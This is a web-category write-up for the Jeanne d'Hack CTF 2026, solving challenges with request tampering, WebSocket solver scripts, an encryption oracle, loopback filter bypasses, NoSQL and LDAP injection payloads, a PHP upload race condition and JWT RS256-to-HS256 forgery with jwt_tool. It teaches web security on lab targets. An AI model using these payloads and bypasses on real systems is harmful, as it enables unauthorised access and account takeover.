Skip to content

Web Writeup - 2026 Edition

In this article, we will present the various solutions to the challenges of the Jeanne d’Hack CTF 2026 for the Web category.

Intro

This challenge offers to play the Chrome’s Dinosaur Game. Here, you must convince the server that you won the game, while this game can’t be won. The dino runs until it encounters an obstacle stopping the game.

Screenshot of the main page

Thank you https://github.com/wayou/t-rex-runner for providing the source code of the game.

Understanding the T-Rex Game Request

When you lose the T-Rex game, it sends this request to the server:

POST /result HTTP/1.1
Host: [HOST]
Content-Type: application/json

{"game":"fail"}

The server responds with:

haha you su*k

We want to tamper with the sent request to convince the server that we won the game.

Step-by-Step: Using Burp Suite

Step 1: Enable Interceptor

  1. Open Burp Suite
  2. Go to Proxy -> Intercept tab
  3. Click “Intercept is on” button (should be blue)

Screenshot of the main page

Step 2: Trigger the Game Over Event

  1. Navigate to the challenge page in your browser
  2. Start the game by pressing Space
  3. Let the T-Rex crash (hit an obstacle)
  4. Burp will intercept the POST request to /result.

Step 3: View the Intercepted Request You should see:

POST /result HTTP/1.1
Host: [HOST]
Content-Type: application/json
Content-Length: 15

{"game":"fail"}

Screenshot of the main page

Step 4: Modify the Request

  1. In the intercepted request, edit the game parameter.
  2. Change "fail" to "win", which we can guess is the expected value.
{"game":"win"}

Screenshot of the main page

Step 5: Send the Modified Request

Forward the modified request and check the Response tab. The response should contain the flag!

Screenshot of the main page

Another way of doing the same thing is to send the following curl command :

curl -k -i -X 'POST' -H 'Content-Type: application/json' --data '{"game":"win"}' 'http://[HOST]/result'

Finally, you retrieve the flag : JDHACK{w3L0me_t0_th3_JungL3}.

This introduction challenge demonstrates why client-side validation alone is insufficient. Always validate inputs on the server side!

Ocarina - 1/3

Inspired by the game Zelda Ocarina of Time, this challenge is a memory game that requires completing 99 rounds of musical sequences. Manual completion is impractical due to the increasing complexity and time constraints.

Screenshot of the main page

The interface presents an ocarina, whose notes are highlighted when a sequence is received from the server. Then you have to click on each note in the same sequence to validate a round.

Screenshot of the play interface

Challenge Analysis:

The game uses WebSocket communication between the client and server. Each round, the server sends a sequence of musical notes (A, B, D, E, F) that must be replayed exactly within a time limit of 10 seconds. The sequence length increases by one note per round, making round 99 contain 99 notes with a 10 seconds timeout.

Technical Details:

The WebSocket endpoint is located at /ws. The communication protocol uses JSON messages:

  • Server sends: {"type": "sequence", "data": ["A", "F", "B"], "round": 3}
  • Client responds: {"sequence": ["A", "F", "B"]}

The server validates the response and either advances to the next round or ends the game. No encryption or obfuscation is present in this challenge.

Here is an example of exchanges between your web browser and the server using WebSockets.

  • The first message is the sequence received from the server.
  • The second one is the validation we send as a client/player.
  • The third one is the server validating our last sequence.
  • In the fourth message the server is giving us the next sequence round while incrementing the round JSON attribute.
  • Finally, as we didn’t respond within the given time, the server ends the game with a failure message.

Screenshot of websocket exchanges

Solution:

Manual completion becomes impossible around round 10-15 due to human memory and time limitations. The intended solution is automation. An example of solution is provided in the soluce.py script.

The script connects to the WebSocket endpoint, receives each sequence, and immediately echoes it back to the server. This bypasses the human memory limitation and completes all 99 rounds automatically.

The soluce.py script performs these operations:

  • Connects to the web application on ws://host/ws
  • Listens for sequence messages from the server
  • Responds with the exact same sequence
  • Handles game completion and flag retrieval

The automation runs quickly, completing all rounds in seconds and retrieving the flag upon successful completion of round 99.

import asyncio, websockets, json

async def play():
    uri = "ws://[HOST]/ws"
    async with websockets.connect(uri) as websocket:
        print("Connected to Ocarina1...")
        while True:
            try:
                msg = json.loads(await websocket.recv())
                
                if msg.get("type") == "sequence":
                    print(f"Round {msg['round']}: {msg['data']}")
                    await websocket.send(json.dumps({"sequence": msg["data"]}))
                
                elif msg.get("type") == "flag":
                    print(f"\nFLAG: {msg['data']['flag']}")
                    break
                    
                elif msg.get("type") in ["gameover", "timeout"]:
                    print(f"Failed: {msg.get('data', {}).get('message')}")
                    break
                    
            except websockets.exceptions.ConnectionClosed:
                break

if __name__ == "__main__":
    asyncio.run(play())

This challenge demonstrates the importance of recognizing when automation is the intended solution path. The hint “Five seconds seems too short for the 99th lullaby, huh ? Well deal with it ;)” indicates that manual completion is not expected.

Flag: JDHACK{0car1n4_m4st3ry_4ch13v3d_99_r0unds!}

Ocarina - 2/3

This challenge is an enhanced version of Ocarina 1 that adds AES encryption to the communication protocol. As with the first challenge, it requires completing 99 rounds of musical sequences, but now all sequences are encrypted.

Note: Please read the writeup for ocarina1 before this one to get some more context about the challenge.

Challenge Analysis:

The game uses the same WebSocket communication pattern as ocarina1, but with a crucial difference: all sequence data is encrypted using AES-CBC encryption. Players must decrypt incoming sequences and encrypt their responses using the same secret key.

Technical Details:

The WebSocket endpoint remains at /ws. The communication protocol now uses encrypted JSON messages:

  • Server sends: {"type": "sequence", "seq": "<base64-encoded-encrypted-data>", "round": 3}
  • Client must decrypt the sequence, then encrypt and respond: {"sequence": "<base64-encoded-encrypted-response>"}

Cryptographic Implementation:

The challenge uses AES-CBC encryption with a hardcoded key exposed in crypto.js:

AES_KEY = b'MyStr0ngSecretK3yForOcarin42024!'

Screenshot of static/crypto.js

The encryption process:

  1. Generate random 16-byte IV for each encryption
  2. Encrypt with AES-CBC
  3. Prepend IV to ciphertext
  4. Base64 encode the result

Solution Method:

Manual completion is impossible due to the same human memory and time constraints as ocarina1, plus the additional complexity of handling encrypted data. The solution requires:

  1. Examining the provided crypto.py file reveals the hardcoded AES key
  2. Using the same encryption/decryption functions to handle the communication
  3. Adapting the script for ocarina1 to decrypt incoming sequences and encrypt responses.

The soluce.py script demonstrates the complete solution:

import asyncio, websockets, json, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes

AES_KEY = b'MyStr0ngSecretK3yForOcarin42024!'

def aes_handler(data, mode='encrypt'):
    if mode == 'encrypt':
        iv = get_random_bytes(16)
        cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
        return base64.b64encode(iv + cipher.encrypt(pad(data.encode(), 16))).decode()
    
    raw = base64.b64decode(data)
    cipher = AES.new(AES_KEY, AES.MODE_CBC, raw[:16])
    return unpad(cipher.decrypt(raw[16:]), 16).decode()

async def play():
    uri = "ws://[HOST]/ws"
    async with websockets.connect(uri) as websocket:
        print("Connected to Ocarina2...")
        while True:
            try:
                msg = json.loads(await websocket.recv())
                
                if msg.get("type") == "sequence":
                    seq = aes_handler(msg["seq"], 'decrypt')
                    print(f"Round {msg['round']}: {seq}")
                    
                    await websocket.send(json.dumps({
                        "sequence": aes_handler(seq, 'encrypt')
                    }))
                
                elif msg.get("type") == "flag":
                    print(f"\nFLAG: {msg['data']['flag']}")
                    break
                    
                elif msg.get("type") in ["gameover", "timeout"]:
                    print(f"Failed: {msg.get('data', {}).get('message')}")
                    break
                    
            except websockets.exceptions.ConnectionClosed:
                break

if __name__ == "__main__":
    asyncio.run(play())

The primary security flaw is the hardcoded AES key exposed in the source code. In a real-world scenario, this kind of encryption is most of the time useless and even counter productive. As the key is available for the client-side application to use it, an attacker can easily retrieve it. Moreover, developers may lower their security requirements while thinking that this additional layer of encryption protects them.

Flag: JDHACK{cryp70_0car1n4_m4st3r_w1th_AES_s3cr3ts!}

Ocarina - 3/3

This challenge is the final one in the ocarina series. The player must use a trick to play and automate the game without knowing the key.

Note: Please read the writeups for ocarina1 and ocarina2 to get some additional context about the current challenge.

Challenge Analysis:

The game introduces a new mechanic. This time the encryption key is really secret, we don’t know it. It is stored server side and can’t be retrieved (at least this is not the intended path). Rather than using the direct crypto functions, players must find a way to encrypt messages and communicate with the server without knowing the key.

To do so, one can notice that the game allows you to set your name through the menu opened when clicking on the bottom right tool button.

Screenshot of the settings menu

Once setting your name, you’ll notice that a request is sent to the /set-name endpoint. As a response, you’ll receive your name in plain text, but also encrypted. This is the way to go!

Screenshot of the request to set-name

We can leverage the ability to encrypt arbitrary text to encrypt notes sequences and validate rounds until the 99th and retrieve the flag.

Technical Details:

The WebSocket endpoint at /ws accepts connections directly. The communication protocol involves:

  • Server sends: {"type": "sequence", "seq": "A,B,D,E,F", "round": 3}
  • Client must encrypt and respond: {"sequence": "<encrypted-response>"}

If the wrong key is provided, the server responds with a “mystical lullaby” error message.

The key insight is that the /set-name endpoint uses the same encryption system as the game’s sequence validation, allowing players to encrypt their responses without knowing the actual encryption key.

Solution Method:

The challenge requires these steps:

  1. Recognize that /set-name can be used for encryption purposes.
  2. Create a script that abuses this endpoint to encrypt game sequences and complete the 99 rounds.

The soluce.py script demonstrates the complete solution:

import asyncio, websockets, json, urllib.request

WS_URI = "ws://[HOST]/ws"
API_URL = "http://[HOST]/set-name"

def get_oracle_encryption(data):
    req = urllib.request.Request(
        API_URL, 
        data=json.dumps({"name": data}).encode(), 
        headers={'Content-Type': 'application/json'}
    )
    with urllib.request.urlopen(req) as res:
        return json.loads(res.read())["encrypted"]

async def play():
    async with websockets.connect(WS_URI) as ws:
        print("Connected to Ocarina3...")
        while True:
            try:
                msg = json.loads(await ws.recv())
                
                if msg.get("type") == "sequence":
                    print(f"Round {msg['round']}: {msg['seq']}")
                    encrypted = get_oracle_encryption(msg["seq"])
                    await ws.send(json.dumps({"sequence": encrypted}))
                    
                elif msg.get("type") == "flag":
                    print(f"\nFLAG: {msg['data']['flag']}")
                    break
                    
                elif msg.get("type") in ["gameover", "timeout"]:
                    print(f"Failed: {msg.get('data', {}).get('message')}")
                    break
                    
            except websockets.exceptions.ConnectionClosed:
                break

if __name__ == "__main__":
    print("Starting Ocarina3 solution...")
    asyncio.run(play())

The challenge teaches players the concept of encryption oracle and how to leverage them to impact the security of the application.

Flag: JDHACK{0car1n4_m4st3r_w1th_tr1ckz!}

No share - 1/3

The challenge consists of a web-based file browser, where we observe two shares:

  • public.pacman: accessible normally
  • secret.pacman: access is denied

Screenshot of the web interface

The goal is to access the secret share where the flag is hosted.

When examining the main server code (server.py), we notice that requests to secret.pacman are blocked at the application level:

def deny(share):
        return 'secret.pacman' in share.lower()

Note: This code snippet was provided in the challenge description as a hint. The goal was not to guess a payload, but to think about a bypass.

Moreover, in the response to the /shares endpoint, we observe that the system uses IP addresses to map each share name:

Screenshot of the /shares endpoint

The vulnerability lies in the fact that the validation is based only on the share name. Share names are resolved to their associated IP addresses before being fetched, they are like local domain names.

Since secret.pacman corresponds to 127.0.0.1, we can try to bypass the restriction by directly using the IP in the share parameter of the /api/folder endpoint.

By intercepting requests with a proxy (Burp Suite, OWASP ZAP, etc.) or adding an automated “Match & Replace” rule, we modify the share parameter to directly use the IP address:

/api/folder?path=%2F&share=127.0.0.1

Screenshot of the /shares endpoint

We clicked on “secret.pacman” and replaced the share parameter in the outgoing request to /api/folder :

Screenshot of the /shares endpoint

As a result, we observe that we successfully bypassed the validation on the share name. Every time a request is sent, we must replace the share parameter as before.

Once access to the secret share is obtained, we can navigate through the directory structure to access the Secrets/ folder, download the flag.txt file and retrieve it: JDHACK{n0_sh4r3_4cc3ss_byp4ss3d}.

Finally, one of the solutions is to visit :

http://[HOST]/api/download?path=%2FSecrets%2Fflag.txt&share=127.0.0.1

Screenshot of the /shares endpoint

No share - 2/3

This is an enhanced version of the noshare1 challenge. When accessing the file browser, we still observe two shares:

  • public.pacman: accessible normally
  • secret.pacman: access is denied

However, this version has tried to improve security measures. The administrators have implemented new checks. The system now uses the validators library to ensure share names are valid domains and the system blocks localhost, IP addresses containing ‘1’, and URLs with ports

Examining the server code reveals the enhanced security:

def deny(share):
     return 'secret.pacman' in share.lower() or 'localhost' in share or '1' in share or ':' in share

Note: This code snippet was provided in the challenge description as a hint. The goal was not to guess a payload, but to think about a bypass.

Additionally, the share name must be a valid domain name :

if not validators.domain(share):
    return jsonify({"error": "Invalid share name."}), 400

While the security has been improved, there are still potential bypass methods. The key insight is that 127.0.0.1 is blocked by the ‘1’ filter and ‘:’ for the IPV6 notation ::1, but other localhost representations exist. For example, valid domains that resolve to localhost but don’t contain blocked strings.

By looking for such domains on the Internet, we can find the following :

  • fbi.com
  • locatest.me
  • …

Yes, you’ve read correctly! Someone bought the domain fbi.com and made it point to 127.0.0.1.

$ dig fbi.com

;; ANSWER SECTION:
fbi.com.		600	IN	A	127.0.0.1

As with noshare1, by intercepting requests with a proxy (Burp Suite, OWASP ZAP, etc.) or adding an automated “Match & Replace” rule, modify the share parameter to use a domain that resolves to localhost:

/api/folder?path=%2F&share=fbi.me

Once the security measures are bypassed and access to the secret share is obtained, navigate to the /Secrets/ folder, download the flag.txt file and retrieve the flag: JDHACK{v4l1d4t0rs_c4n_b3_byp4ss3d}.

Screenshot of the /shares endpoint

No share - 3/3

The administrators have learned from previous bypasses and implemented wider filtering. Unlike noshare2, this version has removed the validators library requirement but the DNS resolution is blocked this time.

Examining the server code reveals the checks in place:

def deny(share):
     return 'secret.pacman' in share.lower() or 'localhost' in share or '.1' in share or ':' in share

Note: This code snippet was provided in the challenge description as a hint. The goal was not to guess a payload, but to think about a bypass.

The key insight is that IP addresses have alternative representations that don’t contain .1: For example the loopback address : 127.0.0.1 could also be written:

  • In octal as 0177.0.0.01.
  • As a single base 10 number: 2130706433
  • In hexadecimal : 0x7f000001

The security measures are bypassed by intercepting requests with a proxy (Burp Suite, OWASP ZAP, etc.), modify the share parameter to use an alternative IP representation:

/api/folder?path=%2F&share=2130706433

Then, we can navigate to the /Secrets/ folder, download the flag.txt file and retrieve the flag: JDHACK{d0t_0n3_f1lt3r_byp4ss3d}

Screenshot of the /shares endpoint

Retrobugging

The challenge source code is available here.

Nobody ever was able to reach a million points…

Will you be the first to achieve this legendary feat?

In this Web challenge, without a Web server, the objective is to retrieve the flag hidden in the game “Galactic Invaders”.

After downloading the archive containing the challenge source code, we can start exploring the Web application and play the game by opening the index.html file. A few rounds are enough to realize that the difficulty increases very quickly and that achieving a high score will be difficult.

However, based on the challenge description and the rules.html page displaying the following message:

🏆 The Ultimate Challenge

Nobody ever was able to reach a million points...
Will you be the first to achieve this legendary feat?

We can assume that the objective is to reach one million points in order to obtain the flag.

By analyzing the JavaScript code, we notice that a function called checkFlag is executed at each iteration of the game loop (the loop function). Its code is as follows:

function checkFlag() {
    // Anti-cheat check
    const hidden = atob("YW50aWNoZWF0Q2hlY2s=");
    // Score must be incremented by 10 (avoid modifying score from the console)
    if (score > 999999 && score == (previousScore + 10)) {
        localStorage.setItem(hidden, "1");
        // Call the obfuscated flag function through a secure wrapper
        secureFlagDisplay(hidden);
        // Remove anti-cheat item from localStorage
        localStorage.removeItem(hidden);
    }
}

This function displays the flag through a secureFlagDisplay wrapper (defined in the obfuscated part of the code), provided that the player’s score is valid. A (very) basic “anti-cheat” protection is also added to prevent secureFlagDisplay from being called outside the checkFlag function.

With this information, we know that we only need to modify the score and previousScore variables so that the condition is satisfied in order to obtain the flag. However, the function is not defined in the global JavaScript scope, so we cannot interact with it directly:

Score error

This is where a very useful browser tool comes into play: the debugger. By opening the browser console and navigating to the debugger tab, we can place a breakpoint on any JavaScript instruction.

Debugger

By placing a breakpoint inside the checkFlag function, we gain access to its execution context and can directly interact with its local variables through the console. We simply need to modify the score and previousScore variables:

score = 1000000
previousScore = (score - 10)

After resuming script execution following these modifications, we successfully retrieve the flag:

flag

Challenge solve video:

Since the challenge was entirely client-side, there were multiple ways to solve it: by deobfuscating the code (possible, although we tried to make it difficult), by modifying the JavaScript code, by making the score variable global, etc. The main objective was to introduce the debugger and highlight variable scope issues.

HTTP Methods Dungeon

Category: Web - Difficulty: Easy

Description

🏰 Welcome to the Dungeon of HTTP Methods!
The mystical Guardian of the Ancient Gate only lets through those who have mastered the art of HTTP methods. To unlock the portal, you must execute a secret sequence of HTTP methods in the exact correct order.

Flag format:
JDHACK{this_is_a_fl4g}

Solution

Step 1 - Access the challenge

Start the challenge by opening the given URL (or via the web menu).

Dungeon home page

Step 2 - Test the HTTP methods

The page presents buttons to send different HTTP methods (GET, POST, PUT, DELETE, OPTIONS, PATCH, TRACE, HEAD). Each click sends a request using the corresponding method.

  • If the method is correct for the current step, a message indicates the progress and the next expected method.
  • If the method is incorrect, the sequence is reset.

Response after a correct method

Step 3 - Find the complete sequence

By trying the methods and carefully noting the server feedback, you can reconstruct the expected sequence:

  1. TRACE
  2. PATCH
  3. DELETE
  4. OPTIONS
  5. TRACE
  6. PUT
  7. PUT

You just need to chain these methods in this exact order (using Burp, curl, or a small Python script) to complete the dungeon.

Step 4 - Retrieve the flag

Once the full sequence has been executed correctly without mistakes, the page displays a victory message and the flag.

Victory and flag

Flag: JDHACK{M4S73r_OF_h7Tp_ME7h0D5}

NeoPixel

Category: Web - Difficulty: Easy

Description

NeoPixel is an online video game publisher.
After a security audit and several fixes, the team is confident that everything is now under control.

Flag format:
JDHACK{this_is_a_flag}

Solution

Step 1 - Notice it’s NoSQL from the error message

Trying to log in with invalid credentials returns an error message such as:
“NoSQL : Nom d’utilisateur ou mot de passe incorrect.”
The presence of “NoSQL” in the server response is a strong hint that a NoSQL engine (typically MongoDB) is used on the backend for authentication. We can reasonably assume that the login endpoint builds a query directly from the submitted fields (username, password), opening the door to a NoSQL injection.

Login error message (NoSQL)

Step 2 - Intercept the request and identify the vulnerability

Intercepting the login request with Burp Suite (or browser DevTools) shows that the client sends a JSON POST to /login:

POST /login HTTP/1.1
Host: neopixel.web.jeanne-hack-ctf.org
Content-Type: application/json
...

{"username":"test","password":"test"}

From the source code (or from the challenge description), we know the backend uses something like:

db.users.find_one({"username": username, "password": password})

Because the values are not properly sanitized, if we send an object instead of a string for password (e.g. {"$ne": ""}), MongoDB interprets it as an operator, which can let us bypass the password check.

Step 3 - Authentication bypass

By sending a JSON POST with a NoSQL operator for the password, we can log in as admin without knowing the real password.

Example payloads:

{
  "username": "admin",
  "password": { "$ne": "" }
}

or:

{
  "username": "admin",
  "password": { "$ne": null }
}

The MongoDB query becomes: “find a document where username is admin and password is not equal to the empty string (or null)”. Since the admin account has a non-empty password, the document matches and the login is accepted.

Request with NoSQLi payload (e.g. via Burp)

Step 4 - Access the admin profile and the flag

Once logged in as admin, navigate to the Profile page. Only users with the admin role can see the flag there.

Admin profile with the flag

Flag: JDHACK{N0$Q1i_!5_4L5O_fUN_4re0}

World of ShellCraft

Category: Web - Difficulty: Extreme

Description

World of ShellCraft is a web challenge where every command is a spell.
You can upload an avatar image on your profile, but the upload logic contains a subtle race condition that can be abused to execute server-side code (or, in this challenge, to directly obtain the flag).

Flag format:
JDHACK{this_is_a_flag}

Solution

Step 1 - Registration and avatar upload

Create an account and log in. On the Profile page, there is a form to upload an avatar (image). Accepted types are shown (e.g. PNG/JPG only).

Profile page with avatar upload

Step 2 - Infer the server-side flow (black-box)

Without direct access to the source code, we can infer the behavior by testing unusual uploads. For example, upload a file whose extension contains a very large number of characters (e.g. image.aaaaaaa...aaa.php) or a deliberately invalid and very long extension.

Error during atypical upload

This can trigger detailed PHP errors such as:

Warning: move_uploaded_file(/var/www/html/avatars/2328982f...57c107.aaaaaaaa...aaaaa):
failed to open stream: File name too long in /var/www/html/profile.php on line 32
Warning: move_uploaded_file(): Unable to move '/tmp/phpXXXXXX' to '/var/www/html/avatars/2328982f...57c107.aaaaaaaa...'
in /var/www/html/profile.php on line 32

From this we learn that:

  • The file is moved to /var/www/html/avatars/ -> we know the directory (and thus the URL prefix, e.g. .../avatars/).
  • The destination name is <64-hex-chars>.<extension> -> the first part is a SHA256 hash of the original filename, the second is the original extension (.php, etc.).
  • The call to move_uploaded_file() happens before validation finishes, and the “file name too long” error just reveals that the file was written under that name and then caused an error.

We can deduce that there is a time window during which the file exists on disk under the requested extension. If we upload a .php file, it may be reachable and executable (or in this challenge, intercepted by a special hook) for a short period of time - hence a race condition.

Step 3 - Exploit the race condition

From the error behavior we know:

  • directory: avatars/
  • naming scheme: <sha256(filename)>.extension
  • the file is written before being validated or deleted.

We can exploit this as follows:

  1. Prepare a minimal PHP file (e.g. <?php 1; ?>) and name it shell.php.

  2. Compute sha256("shell.php") to get the first 64 hex characters of the temporary filename. The URL we want to hit is:
    <target>/avatars/<hash>.php

  3. Using Burp Suite, intercept the POST request to upload the avatar (multipart/form-data with shell.php) and send it once.

    Upload POST request

  4. In parallel, craft a GET request to the computed avatar URL, and send it many times in parallel using “Send group in parallel (last-byte sync)” in Burp Repeater. The idea is to flood the server with GETs exactly when the upload completes.

    • Some GETs will fail (file not yet written or already deleted).
    • At least one GET may hit while the file still exists and is served by the web server.

    GET request without flag (file missing)

Step 4 - Retrieve the flag

In this challenge, when a PHP script is executed from the avatars directory, a dedicated server-side wrapper intercepts the execution and directly returns the flag (instead of executing the uploaded code).
As soon as one of the GET requests hits the file during the race window, the HTTP response contains the flag.

GET request with the flag

Reference: PayloadsAllTheThings - Upload Insecure Files (methodology)

Flag: JDHACK{KACHOW_yOu_4RE_sO_F4St!}

Cybergames store

Category: Web - Difficulty: Hard

Description

Cybergames store is an online video game shop with several authentication mechanisms:

  • a classic login,
  • a LDAP login,
  • a JWT-based session system,
  • and multiple hidden admin panels.

Flag format:
JDHACK{this_is_a_flag}

Solution

Step 1 - Read “About” and discover LDAP

On the “About” page, we find for example:
“🔐 Différents types de connexions sont possibles : Connexion classique (email + mot de passe) / Connexion LDAP (prochainement disponible)”.
Even though LDAP is labeled “coming soon”, this strongly suggests that a LDAP authentication path is already implemented server-side.

LDAP info in “About”

Intercepting the classic login flow with Burp shows a POST to /login_handler.php with login_type=classic, followed by a redirect to /login_classic.php. If we modify login_type=classic to login_type=ldap and replay the request, the redirect changes to /login_ldap.php. This confirms that the LDAP login path exists and can be targeted.

Redirection LDAP redirection

Step 2 - LDAP injection to obtain an admin account

We now focus on the LDAP login form (login_ldap.php). By intercepting the request and testing various injection attempts (special characters in the username, wildcard *, etc.), we observe that a request like:

username=*&password=*&login_type=ldap

behaves differently: this time, the server returns a JWT (in the response or cookies) and redirects us to profile.php.

Login via LDAP injection P4l4d1n_1mp3r14l profile

We see that the obtained user is P4l4d1n_1mp3r14l with a simple “user” role.
Continuing LDAP injection attempts, we try for instance:

username=admin*&password=*&login_type=ldap

This time we get an administrator account: adminldaptest.

adminldaptest profile

On this admin profile page, there is a link to a separate admin login interface:

Admin profile with link to admin

Following this link (/admin/adafg541/21232f297a57a5a743894a0e4a801fc3login.php) brings us to the admin login page:

Admin login interface

By trying several username/password combinations, we eventually find that admin/admin works and grants access to the admin interface:

Successful admin login

Step 3 - JWT algorithm confusion (RS256 -> HS256)

The admin interface uses JWTs signed with RS256 (server-side private key, public key for verification). The classic algorithm confusion vulnerability applies:

  1. Retrieve the public key used for verification.
  2. Forge a new JWT with alg: HS256 instead of RS256, using this public key as HMAC secret.
  3. Set a privileged role (e.g. xmladmin) in the token payload.

In this challenge, the JWT contains the path to the key: admin/adafg541/key/public.pem. This allows us to fetch the public key public.pem.

You can use jwt_tool or the Burp JWT Editor extension. Example with jwt_tool:

python3 jwt_tool.py -X k -pk public.pem -I -pc role -pv xmladmin <original_token>

JWT_TOOL attack

Replacing the token cookie with this forged JWT and reloading the admin panel gives us access to the XML panel.

Admin panel after forging JWT

Step 4 - XML panel and flag retrieval

With the xmladmin role, we can access the XML panel (link “XML” or admin_xml_panel.php). This panel parses submitted XML server-side. In this challenge, the flag is displayed directly in the panel’s content.

XML panel and flag

Flag: JDHACK{J0urn3y_Thr0ugh_JWT_Darkn3ss}